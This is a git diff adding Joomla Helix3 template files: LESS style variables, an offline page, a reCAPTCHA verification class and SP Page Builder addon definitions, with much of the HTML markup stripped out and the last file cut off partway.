+@navbar-default-link-disabled-color: #ccc;
+@navbar-default-link-disabled-bg: transparent;
+
+// Navbar brand label
+@navbar-default-brand-color: @navbar-default-link-color;
+@navbar-default-brand-hover-color: darken(@navbar-default-brand-color, 10%);
+@navbar-default-brand-hover-bg: transparent;
+
+// Navbar toggle
+@navbar-default-toggle-hover-bg: #ddd;
+@navbar-default-toggle-icon-bar-bg: #888;
+@navbar-default-toggle-border-color: #ddd;
+
+
+// Inverted navbar
+// Reset inverted navbar basics
+@navbar-inverse-color: lighten(@gray-light, 15%);
+@navbar-inverse-bg: #222;
+@navbar-inverse-border: darken(@navbar-inverse-bg, 10%);
+
+// Inverted navbar links
+@navbar-inverse-link-color: lighten(@gray-light, 15%);
+@navbar-inverse-link-hover-color: #fff;
+@navbar-inverse-link-hover-bg: transparent;
+@navbar-inverse-link-active-color: @navbar-inverse-link-hover-color;
+@navbar-inverse-link-active-bg: darken(@navbar-inverse-bg, 10%);
+@navbar-inverse-link-disabled-color: #444;
+@navbar-inverse-link-disabled-bg: transparent;
+
+// Inverted navbar brand label
+@navbar-inverse-brand-color: @navbar-inverse-link-color;
+@navbar-inverse-brand-hover-color: #fff;
+@navbar-inverse-brand-hover-bg: transparent;
+
+// Inverted navbar toggle
+@navbar-inverse-toggle-hover-bg: #333;
+@navbar-inverse-toggle-icon-bar-bg: #fff;
+@navbar-inverse-toggle-border-color: #333;
+
+
+//== Navs
+//
+//##
+
+//=== Shared nav styles
+@nav-link-padding: 10px 15px;
+@nav-link-hover-bg: @gray-lighter;
+
+@nav-disabled-link-color: @gray-light;
+@nav-disabled-link-hover-color: @gray-light;
+
+//== Tabs
+@nav-tabs-border-color: #ddd;
+
+@nav-tabs-link-hover-border-color: @gray-lighter;
+
+@nav-tabs-active-link-hover-bg: @body-bg;
+@nav-tabs-active-link-hover-color: @gray;
+@nav-tabs-active-link-hover-border-color: #ddd;
+
+@nav-tabs-justified-link-border-color: #ddd;
+@nav-tabs-justified-active-link-border-color: @body-bg;
+
+//== Pills
+@nav-pills-border-radius: @border-radius-base;
+@nav-pills-active-link-hover-bg: @component-active-bg;
+@nav-pills-active-link-hover-color: @component-active-color;
+
+
+//== Pagination
+//
+//##
+
+@pagination-color: @link-color;
+@pagination-bg: #fff;
+@pagination-border: #ddd;
+
+@pagination-hover-color: @link-hover-color;
+@pagination-hover-bg: @gray-lighter;
+@pagination-hover-border: #ddd;
+
+@pagination-active-color: #fff;
+@pagination-active-bg: @brand-primary;
+@pagination-active-border: @brand-primary;
+
+@pagination-disabled-color: @gray-light;
+@pagination-disabled-bg: #fff;
+@pagination-disabled-border: #ddd;
+
+
+//== Pager
+//
+//##
+
+@pager-bg: @pagination-bg;
+@pager-border: @pagination-border;
+@pager-border-radius: 15px;
+
+@pager-hover-bg: @pagination-hover-bg;
+
+@pager-active-bg: @pagination-active-bg;
+@pager-active-color: @pagination-active-color;
+
+@pager-disabled-color: @pagination-disabled-color;
+
+
+//== Jumbotron
+//
+//##
+
+@jumbotron-padding: 30px;
+@jumbotron-color: inherit;
+@jumbotron-bg: @gray-lighter;
+@jumbotron-heading-color: inherit;
+@jumbotron-font-size: ceil((@font-size-base * 1.5));
+
+
+//== Form states and alerts
+//
+//## Define colors for form feedback states and, by default, alerts.
+
+@state-success-text: #3c763d;
+@state-success-bg: #dff0d8;
+@state-success-border: darken(spin(@state-success-bg, -10), 5%);
+
+@state-info-text: #31708f;
+@state-info-bg: #d9edf7;
+@state-info-border: darken(spin(@state-info-bg, -10), 7%);
+
+@state-warning-text: #8a6d3b;
+@state-warning-bg: #fcf8e3;
+@state-warning-border: darken(spin(@state-warning-bg, -10), 5%);
+
+@state-danger-text: #a94442;
+@state-danger-bg: #f2dede;
+@state-danger-border: darken(spin(@state-danger-bg, -10), 5%);
+
+
+//== Tooltips
+//
+//##
+
+//** Tooltip max width
+@tooltip-max-width: 200px;
+//** Tooltip text color
+@tooltip-color: #fff;
+//** Tooltip background color
+@tooltip-bg: #000;
+@tooltip-opacity: .9;
+
+//** Tooltip arrow width
+@tooltip-arrow-width: 5px;
+//** Tooltip arrow color
+@tooltip-arrow-color: @tooltip-bg;
+
+
+//== Popovers
+//
+//##
+
+//** Popover body background color
+@popover-bg: #fff;
+//** Popover maximum width
+@popover-max-width: 276px;
+//** Popover border color
+@popover-border-color: rgba(0,0,0,.2);
+//** Popover fallback border color
+@popover-fallback-border-color: #ccc;
+
+//** Popover title background color
+@popover-title-bg: darken(@popover-bg, 3%);
+
+//** Popover arrow width
+@popover-arrow-width: 10px;
+//** Popover arrow color
+@popover-arrow-color: @popover-bg;
+
+//** Popover outer arrow width
+@popover-arrow-outer-width: (@popover-arrow-width + 1);
+//** Popover outer arrow color
+@popover-arrow-outer-color: fadein(@popover-border-color, 5%);
+//** Popover outer arrow fallback color
+@popover-arrow-outer-fallback-color: darken(@popover-fallback-border-color, 20%);
+
+
+//== Labels
+//
+//##
+
+//** Default label background color
+@label-default-bg: @gray-light;
+//** Primary label background color
+@label-primary-bg: @brand-primary;
+//** Success label background color
+@label-success-bg: @brand-success;
+//** Info label background color
+@label-info-bg: @brand-info;
+//** Warning label background color
+@label-warning-bg: @brand-warning;
+//** Danger label background color
+@label-danger-bg: @brand-danger;
+
+//** Default label text color
+@label-color: #fff;
+//** Default text color of a linked label
+@label-link-hover-color: #fff;
+
+
+//== Modals
+//
+//##
+
+//** Padding applied to the modal body
+@modal-inner-padding: 15px;
+
+//** Padding applied to the modal title
+@modal-title-padding: 15px;
+//** Modal title line-height
+@modal-title-line-height: @line-height-base;
+
+//** Background color of modal content area
+@modal-content-bg: #fff;
+//** Modal content border color
+@modal-content-border-color: rgba(0,0,0,.2);
+//** Modal content border color **for IE8**
+@modal-content-fallback-border-color: #999;
+
+//** Modal backdrop background color
+@modal-backdrop-bg: #000;
+//** Modal backdrop opacity
+@modal-backdrop-opacity: .5;
+//** Modal header border color
+@modal-header-border-color: #e5e5e5;
+//** Modal footer border color
+@modal-footer-border-color: @modal-header-border-color;
+
+@modal-lg: 900px;
+@modal-md: 600px;
+@modal-sm: 300px;
+
+
+//== Alerts
+//
+//## Define alert colors, border radius, and padding.
+
+@alert-padding: 15px;
+@alert-border-radius: @border-radius-base;
+@alert-link-font-weight: bold;
+
+@alert-success-bg: @state-success-bg;
+@alert-success-text: @state-success-text;
+@alert-success-border: @state-success-border;
+
+@alert-info-bg: @state-info-bg;
+@alert-info-text: @state-info-text;
+@alert-info-border: @state-info-border;
+
+@alert-warning-bg: @state-warning-bg;
+@alert-warning-text: @state-warning-text;
+@alert-warning-border: @state-warning-border;
+
+@alert-danger-bg: @state-danger-bg;
+@alert-danger-text: @state-danger-text;
+@alert-danger-border: @state-danger-border;
+
+
+//== Progress bars
+//
+//##
+
+//** Background color of the whole progress component
+@progress-bg: #f5f5f5;
+//** Progress bar text color
+@progress-bar-color: #fff;
+//** Variable for setting rounded corners on progress bar.
+@progress-border-radius: @border-radius-base;
+
+//** Default progress bar color
+@progress-bar-bg: @brand-primary;
+//** Success progress bar color
+@progress-bar-success-bg: @brand-success;
+//** Warning progress bar color
+@progress-bar-warning-bg: @brand-warning;
+//** Danger progress bar color
+@progress-bar-danger-bg: @brand-danger;
+//** Info progress bar color
+@progress-bar-info-bg: @brand-info;
+
+
+//== List group
+//
+//##
+
+//** Background color on `.list-group-item`
+@list-group-bg: #fff;
+//** `.list-group-item` border color
+@list-group-border: #ddd;
+//** List group border radius
+@list-group-border-radius: @border-radius-base;
+
+//** Background color of single list items on hover
+@list-group-hover-bg: #f5f5f5;
+//** Text color of active list items
+@list-group-active-color: @component-active-color;
+//** Background color of active list items
+@list-group-active-bg: @component-active-bg;
+//** Border color of active list elements
+@list-group-active-border: @list-group-active-bg;
+//** Text color for content within active list items
+@list-group-active-text-color: lighten(@list-group-active-bg, 40%);
+
+//** Text color of disabled list items
+@list-group-disabled-color: @gray-light;
+//** Background color of disabled list items
+@list-group-disabled-bg: @gray-lighter;
+//** Text color for content within disabled list items
+@list-group-disabled-text-color: @list-group-disabled-color;
+
+@list-group-link-color: #555;
+@list-group-link-hover-color: @list-group-link-color;
+@list-group-link-heading-color: #333;
+
+
+//== Panels
+//
+//##
+
+@panel-bg: #fff;
+@panel-body-padding: 15px;
+@panel-heading-padding: 10px 15px;
+@panel-footer-padding: @panel-heading-padding;
+@panel-border-radius: @border-radius-base;
+
+//** Border color for elements within panels
+@panel-inner-border: #ddd;
+@panel-footer-bg: #f5f5f5;
+
+@panel-default-text: @gray-dark;
+@panel-default-border: #ddd;
+@panel-default-heading-bg: #f5f5f5;
+
+@panel-primary-text: #fff;
+@panel-primary-border: @brand-primary;
+@panel-primary-heading-bg: @brand-primary;
+
+@panel-success-text: @state-success-text;
+@panel-success-border: @state-success-border;
+@panel-success-heading-bg: @state-success-bg;
+
+@panel-info-text: @state-info-text;
+@panel-info-border: @state-info-border;
+@panel-info-heading-bg: @state-info-bg;
+
+@panel-warning-text: @state-warning-text;
+@panel-warning-border: @state-warning-border;
+@panel-warning-heading-bg: @state-warning-bg;
+
+@panel-danger-text: @state-danger-text;
+@panel-danger-border: @state-danger-border;
+@panel-danger-heading-bg: @state-danger-bg;
+
+
+//== Thumbnails
+//
+//##
+
+//** Padding around the thumbnail image
+@thumbnail-padding: 4px;
+//** Thumbnail background color
+@thumbnail-bg: @body-bg;
+//** Thumbnail border color
+@thumbnail-border: #ddd;
+//** Thumbnail border radius
+@thumbnail-border-radius: @border-radius-base;
+
+//** Custom text color for thumbnail captions
+@thumbnail-caption-color: @text-color;
+//** Padding around the thumbnail caption
+@thumbnail-caption-padding: 9px;
+
+
+//== Wells
+//
+//##
+
+@well-bg: #f5f5f5;
+@well-border: darken(@well-bg, 7%);
+
+
+//== Badges
+//
+//##
+
+@badge-color: #fff;
+//** Linked badge text color on hover
+@badge-link-hover-color: #fff;
+@badge-bg: @gray-light;
+
+//** Badge text color in active nav link
+@badge-active-color: @link-color;
+//** Badge background color in active nav link
+@badge-active-bg: #fff;
+
+@badge-font-weight: bold;
+@badge-line-height: 1;
+@badge-border-radius: 10px;
+
+
+//== Breadcrumbs
+//
+//##
+
+@breadcrumb-padding-vertical: 8px;
+@breadcrumb-padding-horizontal: 15px;
+//** Breadcrumb background color
+@breadcrumb-bg: #f5f5f5;
+//** Breadcrumb text color
+@breadcrumb-color: #ccc;
+//** Text color of current page in the breadcrumb
+@breadcrumb-active-color: @gray-light;
+//** Textual separator for between breadcrumb elements
+@breadcrumb-separator: "/";
+
+
+//== Carousel
+//
+//##
+
+@carousel-text-shadow: 0 1px 2px rgba(0,0,0,.6);
+
+@carousel-control-color: #fff;
+@carousel-control-width: 15%;
+@carousel-control-opacity: .5;
+@carousel-control-font-size: 20px;
+
+@carousel-indicator-active-bg: #fff;
+@carousel-indicator-border-color: #fff;
+
+@carousel-caption-color: #fff;
+
+
+//== Close
+//
+//##
+
+@close-font-weight: bold;
+@close-color: #000;
+@close-text-shadow: 0 1px 0 #fff;
+
+
+//== Code
+//
+//##
+
+@code-color: #c7254e;
+@code-bg: #f9f2f4;
+
+@kbd-color: #fff;
+@kbd-bg: #333;
+
+@pre-bg: #f5f5f5;
+@pre-color: @gray-dark;
+@pre-border-color: #ccc;
+@pre-scrollable-max-height: 340px;
+
+
+//== Type
+//
+//##
+
+//** Horizontal offset for forms and lists.
+@component-offset-horizontal: 180px;
+//** Text muted color
+@text-muted: @gray-light;
+//** Abbreviations and acronyms border color
+@abbr-border-color: @gray-light;
+//** Headings small color
+@headings-small-color: @gray-light;
+//** Blockquote small color
+@blockquote-small-color: @gray-light;
+//** Blockquote font size
+@blockquote-font-size: (@font-size-base * 1.25);
+//** Blockquote border color
+@blockquote-border-color: @gray-lighter;
+//** Page header border color
+@page-header-border-color: @gray-lighter;
+//** Width of horizontal description list titles
+@dl-horizontal-offset: @component-offset-horizontal;
+//** Horizontal line color.
+@hr-border: @gray-lighter;
diff --git a/deployed/helix3/templates/shaper_helix3/offline.php b/deployed/helix3/templates/shaper_helix3/offline.php
new file mode 100644
index 00000000..c82c0e6c
--- /dev/null
+++ b/deployed/helix3/templates/shaper_helix3/offline.php
@@ -0,0 +1,87 @@
+
+
+
+
+
+
+ params->get('favicon')) {
+ $doc->addFavicon( JURI::base(true) . '/' . $favicon);
+ } else {
+ $doc->addFavicon( $this->baseurl . '/templates/'. $this->template .'/images/favicon.ico' );
+ }
+ ?>
+
+
+
+
+
+
+
+
+
+
+
+
+ get('offline_image') && file_exists($app->get('offline_image'))) : ?>
+
+
+
+ get('sitename')); ?>
+
+ get('display_offline_message', 1) == 1 && str_replace(' ', '', $app->get('offline_message')) != '') : ?>
+
+ get('offline_message'); ?>
+
+ get('display_offline_message', 1) == 2 && str_replace(' ', '', JText::_('JOFFLINE_MESSAGE')) != '') : ?>
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/deployed/helix3/templates/shaper_helix3/recaptchalib.php b/deployed/helix3/templates/shaper_helix3/recaptchalib.php
new file mode 100644
index 00000000..ae467a28
--- /dev/null
+++ b/deployed/helix3/templates/shaper_helix3/recaptchalib.php
@@ -0,0 +1,140 @@
+" . self::$_signupUrl . "");
+ }
+ $this->_secret=$secret;
+ }
+
+ /**
+ * Encodes the given data into a query string format.
+ *
+ * @param array $data array of string elements to be encoded.
+ *
+ * @return string - encoded request.
+ */
+ private function _encodeQS($data)
+ {
+ $req = "";
+ foreach ($data as $key => $value) {
+ $req .= $key . '=' . urlencode(stripslashes($value)) . '&';
+ }
+
+ // Cut the last '&'
+ $req=substr($req, 0, strlen($req)-1);
+ return $req;
+ }
+
+ /**
+ * Submits an HTTP GET to a reCAPTCHA server.
+ *
+ * @param string $path url path to recaptcha server.
+ * @param array $data array of parameters to be sent.
+ *
+ * @return array response
+ */
+ private function _submitHTTPGet($path, $data)
+ {
+ $req = $this->_encodeQS($data);
+ $response = file_get_contents($path . $req);
+ return $response;
+ }
+
+ /**
+ * Calls the reCAPTCHA siteverify API to verify whether the user passes
+ * CAPTCHA test.
+ *
+ * @param string $remoteIp IP address of end user.
+ * @param string $response response string from recaptcha verification.
+ *
+ * @return ReCaptchaResponse
+ */
+ public function verifyResponse($remoteIp, $response)
+ {
+ // Discard empty solution submissions
+ if ($response == null || strlen($response) == 0) {
+ $recaptchaResponse = new ReCaptchaResponse();
+ $recaptchaResponse->success = false;
+ $recaptchaResponse->errorCodes = 'missing-input';
+ return $recaptchaResponse;
+ }
+
+ $getResponse = $this->_submitHttpGet(
+ self::$_siteVerifyUrl,
+ array (
+ 'secret' => $this->_secret,
+ 'remoteip' => $remoteIp,
+ 'v' => self::$_version,
+ 'response' => $response
+ )
+ );
+ $answers = json_decode($getResponse, true);
+ $recaptchaResponse = new ReCaptchaResponse();
+
+ if (trim($answers ['success']) == true) {
+ $recaptchaResponse->success = true;
+ } else {
+ $recaptchaResponse->success = false;
+ $recaptchaResponse->errorCodes = $answers [error-codes];
+ }
+
+ return $recaptchaResponse;
+ }
+}
+
+?>
diff --git a/deployed/helix3/templates/shaper_helix3/sppagebuilder/addons/call_to_action/admin.php b/deployed/helix3/templates/shaper_helix3/sppagebuilder/addons/call_to_action/admin.php
new file mode 100644
index 00000000..5d5cf7bf
--- /dev/null
+++ b/deployed/helix3/templates/shaper_helix3/sppagebuilder/addons/call_to_action/admin.php
@@ -0,0 +1,176 @@
+'content',
+ 'addon_name'=>'sp_call_to_action',
+ 'category'=>'Helix 3',
+ 'title'=>JText::_('COM_SPPAGEBUILDER_ADDON_CTA'),
+ 'desc'=>JText::_('COM_SPPAGEBUILDER_ADDON_CTA_DESC'),
+ 'attr'=>array(
+ 'title'=>array(
+ 'type'=>'text',
+ 'title'=>JText::_('COM_SPPAGEBUILDER_ADDON_CTA_TITLE'),
+ 'desc'=>JText::_('COM_SPPAGEBUILDER_ADDON_CTA_TITLE_DESC'),
+ 'std'=>'Call to action title',
+ ),
+
+ 'heading_selector'=>array(
+ 'type'=>'select',
+ 'title'=>JText::_('COM_SPPAGEBUILDER_ADDON_HEADINGS'),
+ 'desc'=>JText::_('COM_SPPAGEBUILDER_ADDON_HEADINGS_DESC'),
+ 'values'=>array(
+ 'h1'=>JText::_('COM_SPPAGEBUILDER_ADDON_HEADINGS_H1'),
+ 'h2'=>JText::_('COM_SPPAGEBUILDER_ADDON_HEADINGS_H2'),
+ 'h3'=>JText::_('COM_SPPAGEBUILDER_ADDON_HEADINGS_H3'),
+ 'h4'=>JText::_('COM_SPPAGEBUILDER_ADDON_HEADINGS_H4'),
+ 'h5'=>JText::_('COM_SPPAGEBUILDER_ADDON_HEADINGS_H5'),
+ 'h6'=>JText::_('COM_SPPAGEBUILDER_ADDON_HEADINGS_H6'),
+ ),
+ 'std'=>'h3',
+ ),
+
+ 'title_fontsize'=>array(
+ 'type'=>'number',
+ 'title'=>JText::_('COM_SPPAGEBUILDER_ADDON_TITLE_FONT_SIZE'),
+ 'desc'=>JText::_('COM_SPPAGEBUILDER_ADDON_TITLE_FONT_SIZE_DESC'),
+ 'std'=>''
+ ),
+
+ 'title_text_color'=>array(
+ 'type'=>'color',
+ 'title'=>JText::_('COM_SPPAGEBUILDER_ADDON_TITLE_TEXT_COLOR'),
+ 'desc'=>JText::_('COM_SPPAGEBUILDER_ADDON_TITLE_TEXT_COLOR_DESC'),
+ ),
+
+ 'title_margin_top'=>array(
+ 'type'=>'number',
+ 'title'=>JText::_('COM_SPPAGEBUILDER_ADDON_TITLE_MARGIN_TOP'),
+ 'desc'=>JText::_('COM_SPPAGEBUILDER_ADDON_TITLE_MARGIN_TOP_DESC'),
+ 'placeholder'=>'10',
+ ),
+
+ 'title_margin_bottom'=>array(
+ 'type'=>'number',
+ 'title'=>JText::_('COM_SPPAGEBUILDER_ADDON_TITLE_MARGIN_BOTTOM'),
+ 'desc'=>JText::_('COM_SPPAGEBUILDER_ADDON_TITLE_MARGIN_BOTTOM_DESC'),
+ 'placeholder'=>'10',
+ ),
+
+ 'subtitle'=>array(
+ 'type'=>'text',
+ 'title'=>JText::_('COM_SPPAGEBUILDER_ADDON_CTA_SUBTITLE'),
+ 'desc'=>JText::_('COM_SPPAGEBUILDER_ADDON_CTA_SUBTITLE_DESC'),
+ 'std'=>'Call to action sub title',
+ ),
+ 'subtitle_fontsize'=>array(
+ 'type'=>'number',
+ 'title'=>JText::_('COM_SPPAGEBUILDER_ADDON_SUB_TITLE_FONT_SIZE'),
+ 'desc'=>JText::_('COM_SPPAGEBUILDER_ADDON_SUB_TITLE_FONT_SIZE_DESC'),
+ 'std'=>''
+ ),
+ 'subtitle_text_color'=>array(
+ 'type'=>'color',
+ 'title'=>JText::_('COM_SPPAGEBUILDER_ADDON_SUB_TITLE_TEXT_COLOR'),
+ 'desc'=>JText::_('COM_SPPAGEBUILDER_ADDON_SUB_TITLE_TEXT_COLOR_DESC'),
+ ),
+ 'text'=>array(
+ 'type'=>'editor',
+ 'title'=>JText::_('COM_SPPAGEBUILDER_ADDON_CTA_CONTENT'),
+ 'desc'=>JText::_('COM_SPPAGEBUILDER_ADDON_CTA_CONTENT_DESC'),
+ ),
+ 'background'=>array(
+ 'type'=>'color',
+ 'title'=>JText::_('COM_SPPAGEBUILDER_ADDON_GLOBAL_BACKGROUND'),
+ 'desc'=>JText::_('COM_SPPAGEBUILDER_ADDON_GLOBAL_BACKGROUND_DESC'),
+ ),
+ 'color'=>array(
+ 'type'=>'color',
+ 'title'=>JText::_('COM_SPPAGEBUILDER_ADDON_GLOBAL_COLOR'),
+ 'desc'=>JText::_('COM_SPPAGEBUILDER_ADDON_GLOBAL_COLOR_DESC'),
+ ),
+ 'padding'=>array(
+ 'type'=>'number',
+ 'title'=>JText::_('COM_SPPAGEBUILDER_ADDON_GLOBAL_PADDING'),
+ 'desc'=>JText::_('COM_SPPAGEBUILDER_ADDON_GLOBAL_PADDING_DESC'),
+ 'placeholder'=>'20',
+ ),
+ //Button
+ 'button_text'=>array(
+ 'type'=>'text',
+ 'title'=>JText::_('COM_SPPAGEBUILDER_ADDON_BUTTON_TEXT'),
+ 'desc'=>JText::_('COM_SPPAGEBUILDER_ADDON_BUTTON_TEXT_DESC'),
+ 'std'=>'Button Text',
+ ),
+ 'button_url'=>array(
+ 'type'=>'text',
+ 'title'=>JText::_('COM_SPPAGEBUILDER_ADDON_BUTTON_URL'),
+ 'desc'=>JText::_('COM_SPPAGEBUILDER_ADDON_BUTTON_URL_DESC'),
+ 'std'=>'http://'
+ ),
+ 'button_size'=>array(
+ 'type'=>'select',
+ 'title'=>JText::_('COM_SPPAGEBUILDER_ADDON_BUTTON_SIZE'),
+ 'desc'=>JText::_('COM_SPPAGEBUILDER_ADDON_BUTTON_SIZE_DESC'),
+ 'values'=>array(
+ ''=>JText::_('COM_SPPAGEBUILDER_ADDON_BUTTON_SIZE_DEFAULT'),
+ 'lg'=>JText::_('COM_SPPAGEBUILDER_ADDON_BUTTON_SIZE_LARGE'),
+ 'sm'=>JText::_('COM_SPPAGEBUILDER_ADDON_BUTTON_SIZE_SMALL'),
+ 'xs'=>JText::_('COM_SPPAGEBUILDER_ADDON_BUTTON_SIZE_EXTRA_SAMLL'),
+ ),
+ ),
+ 'button_type'=>array(
+ 'type'=>'select',
+ 'title'=>JText::_('COM_SPPAGEBUILDER_ADDON_BUTTON_TYPE'),
+ 'desc'=>JText::_('COM_SPPAGEBUILDER_ADDON_BUTTON_TYPE_DESC'),
+ 'values'=>array(
+ 'default'=>JText::_('COM_SPPAGEBUILDER_GLOBAL_DEFAULT'),
+ 'primary'=>JText::_('COM_SPPAGEBUILDER_GLOBAL_PRIMARY'),
+ 'success'=>JText::_('COM_SPPAGEBUILDER_GLOBAL_SUCCESS'),
+ 'info'=>JText::_('COM_SPPAGEBUILDER_GLOBAL_INFO'),
+ 'warning'=>JText::_('COM_SPPAGEBUILDER_GLOBAL_WARNING'),
+ 'danger'=>JText::_('COM_SPPAGEBUILDER_GLOBAL_DANGER'),
+ 'link'=>JText::_('COM_SPPAGEBUILDER_GLOBAL_LINK'),
+ ),
+ 'std'=>'default',
+ ),
+ 'button_icon'=>array(
+ 'type'=>'icon',
+ 'title'=>JText::_('COM_SPPAGEBUILDER_ADDON_BUTTON_ICON'),
+ 'desc'=>JText::_('COM_SPPAGEBUILDER_ADDON_BUTTON_ICON_DESC'),
+ ),
+ 'button_block'=>array(
+ 'type'=>'select',
+ 'title'=> 'Button Full Width',
+ 'desc'=>'Button block',
+ 'values'=>array(
+ ''=> 'No',
+ 'sppb-btn-block'=> 'Yes'
+ )
+ ),
+ 'button_target'=>array(
+ 'type'=>'select',
+ 'title'=>JText::_('COM_SPPAGEBUILDER_ADDON_GLOBAL_TARGET'),
+ 'desc'=>JText::_('COM_SPPAGEBUILDER_ADDON_GLOBAL_TARGET_DESC'),
+ 'values'=>array(
+ ''=>JText::_('COM_SPPAGEBUILDER_ADDON_GLOBAL_TARGET_SAME_WINDOW'),
+ '_blank'=>JText::_('COM_SPPAGEBUILDER_ADDON_GLOBAL_TARGET_NEW_WINDOW'),
+ ),
+ ),
+ 'button_position'=>array(
+ 'type'=>'select',
+ 'title'=>JText::_('COM_SPPAGEBUILDER_ADDON_CTA_BUTTON_POSITION'),
+ 'desc'=>JText::_('COM_SPPAGEBUILDER_ADDON_CTA_BUTTON_POSITION_DESC'),
+ 'values'=>array(
+ 'right'=>JText::_('COM_SPPAGEBUILDER_ADDON_GLOBAL_RIGHT'),
+ 'bottom'=>JText::_('COM_SPPAGEBUILDER_ADDON_GLOBAL_BOTTOM'),
+ ),
+ ),
+ 'class'=>array(
+ 'type'=>'text',
+ 'title'=>JText::_('COM_SPPAGEBUILDER_ADDON_CLASS'),
+ 'desc'=>JText::_('COM_SPPAGEBUILDER_ADDON_CLASS_DESC'),
+ 'std'=> ''
+ ),
+ )
+ )
+ );
\ No newline at end of file
diff --git a/deployed/helix3/templates/shaper_helix3/sppagebuilder/addons/call_to_action/icon.png b/deployed/helix3/templates/shaper_helix3/sppagebuilder/addons/call_to_action/icon.png
new file mode 100644
index 00000000..d1040c4f
Binary files /dev/null and b/deployed/helix3/templates/shaper_helix3/sppagebuilder/addons/call_to_action/icon.png differ
diff --git a/deployed/helix3/templates/shaper_helix3/sppagebuilder/addons/call_to_action/site.php b/deployed/helix3/templates/shaper_helix3/sppagebuilder/addons/call_to_action/site.php
new file mode 100644
index 00000000..7758433f
--- /dev/null
+++ b/deployed/helix3/templates/shaper_helix3/sppagebuilder/addons/call_to_action/site.php
@@ -0,0 +1,134 @@
+ '',
+ "heading_selector" => 'h3',
+ "title_fontsize" => '',
+ "title_text_color" => '',
+ "title_margin_top" => '',
+ "title_margin_bottom" => '',
+ "subtitle_fontsize" => '',
+ "subtitle" => '',
+ "subtitle_text_color" => '',
+ "text" => '',
+ "background" => '',
+ "color" => '',
+ "padding" => '',
+ "button_text" =>'',
+ "button_url" =>'',
+ "button_size" =>'',
+ "button_type" =>'',
+ "button_icon" =>'',
+ "button_block" =>'',
+ "button_target" =>'',
+ "button_position" =>'',
+ "class"=>'',
+ ), $atts));
+
+ $style = '';
+
+ if($button_icon) {
+ $button_text = ' ' . $button_text;
+ }
+
+ if($background) {
+ $style .= 'background-color: ' . $background . ';padding:40px 20px;';
+ }
+
+ if($color) {
+ $style .= 'color: ' . $color . ';';
+ }
+
+ if($padding) {
+ $style .= 'padding: ' . (int)$padding . 'px;';
+ }
+
+ $button_output = '' . $button_text . ' ';
+
+ $output = '';
+
+ if($button_position=='right') {
+
+ $output .= '
';
+
+ $output .= '
';
+
+ if($title) {
+
+ $title_style = '';
+ if($title_margin_top) $title_style .= 'margin-top:' . (int) $title_margin_top . 'px;';
+ if($title_margin_bottom) $title_style .= 'margin-bottom:' . (int) $title_margin_bottom . 'px;';
+ if($title_text_color) $title_style .= 'color:' . $title_text_color . ';';
+ if($title_fontsize) $title_style .= 'font-size:'.$title_fontsize.'px;line-height:'.$title_fontsize.'px;';
+
+ $output .= '<'.$heading_selector.' class="sppb-cta-title" style="' . $title_style . '">' . $title . ''.$heading_selector.'>';
+ }
+
+ if($subtitle) {
+
+ $subtitle_style = '';
+
+ if($subtitle_text_color) $subtitle_style .= 'color:' . $subtitle_text_color . ';';
+ if($subtitle_fontsize) $subtitle_style .= 'font-size:'.$subtitle_fontsize.'px;line-height:'.$subtitle_fontsize.'px;';
+
+ $output .= '
' . $subtitle . '
';
+ }
+
+
+ if($text) $output .= '
' . $text . '
';
+
+ $output .= '
';
+
+ $output .= '
';
+ $output .= $button_output;
+ $output .= '
';
+
+ $output .= '
';
+
+
+ } else {
+
+ $output .= '
';
+
+ if($title) {
+
+ $title_style = '';
+ if($title_margin_top) $title_style .= 'margin-top:' . (int) $title_margin_top . 'px;';
+ if($title_margin_bottom) $title_style .= 'margin-bottom:' . (int) $title_margin_bottom . 'px;';
+ if($title_text_color) $title_style .= 'color:' . $title_text_color . ';';
+ if($title_fontsize) $title_style .= 'font-size:'.$title_fontsize.'px;line-height:'.$title_fontsize.'px;';
+
+ $output .= '<'.$heading_selector.' class="sppb-cta-title" style="' . $title_style . '">' . $title . ''.$heading_selector.'>';
+ }
+
+ if($subtitle) {
+
+ $subtitle_style = '';
+
+ if($subtitle_text_color) $subtitle_style .= 'color:' . $subtitle_text_color . ';';
+ if($subtitle_fontsize) $subtitle_style .= 'font-size:'.$subtitle_fontsize.'px;line-height:'.$subtitle_fontsize.'px;';
+
+ $output .= '
' . $subtitle . '
';
+ }
+
+ if($text) $output .= '
' . $text . '
';
+
+ $output .= '
';
+ $output .= $button_output;
+ $output .= '
';
+
+ $output .= '
';
+
+ }
+
+ $output .= '
';
+
+ return $output;
+
+}
diff --git a/deployed/helix3/templates/shaper_helix3/sppagebuilder/addons/image_content/admin.php b/deployed/helix3/templates/shaper_helix3/sppagebuilder/addons/image_content/admin.php
new file mode 100644
index 00000000..90507972
--- /dev/null
+++ b/deployed/helix3/templates/shaper_helix3/sppagebuilder/addons/image_content/admin.php
@@ -0,0 +1,390 @@
+'content',
+ 'addon_name'=>'sp_image_content',
+ 'title'=>JText::_('COM_SPPAGEBUILDER_ADDON_IMAGE_CONTENT'),
+ 'desc'=>JText::_('COM_SPPAGEBUILDER_ADDON_IMAGE_CONTENT_DESC'),
+ 'attr'=>array(
+ 'general' => array(
+
+ 'admin_label'=>array(
+ 'type'=>'text',
+ 'title'=>JText::_('COM_SPPAGEBUILDER_ADDON_ADMIN_LABEL'),
+ 'desc'=>JText::_('COM_SPPAGEBUILDER_ADDON_ADMIN_LABEL_DESC'),
+ 'std'=> ''
+ ),
+
+ 'separator1'=>array(
+ 'type'=>'separator',
+ 'title'=>JText::_('COM_SPPAGEBUILDER_ADDON_IMAGE_CONTENT_IMAGE')
+ ),
+
+ 'image'=>array(
+ 'type'=>'media',
+ 'title'=>JText::_('COM_SPPAGEBUILDER_ADDON_IMAGE_CONTENT_IMAGE'),
+ ),
+
+ 'image_alignment'=>array(
+ 'type'=>'select',
+ 'title'=>JText::_('COM_SPPAGEBUILDER_ADDON_IMAGE_CONTENT_IMAGE_ALIGNMENT'),
+ 'desc'=>JText::_('COM_SPPAGEBUILDER_ADDON_IMAGE_CONTENT_IMAGE_ALIGNMENT_DESC'),
+ 'values'=>array(
+ 'left'=>JText::_('COM_SPPAGEBUILDER_GLOBAL_LEFT'),
+ 'right'=>JText::_('COM_SPPAGEBUILDER_GLOBAL_RIGHT'),
+ ),
+ 'std'=>'left',
+ ),
+
+ 'separator2'=>array(
+ 'type'=>'separator',
+ 'title'=>JText::_('COM_SPPAGEBUILDER_ADDON_IMAGE_CONTENT_CONTENT')
+ ),
+
+ 'title'=>array(
+ 'type'=>'text',
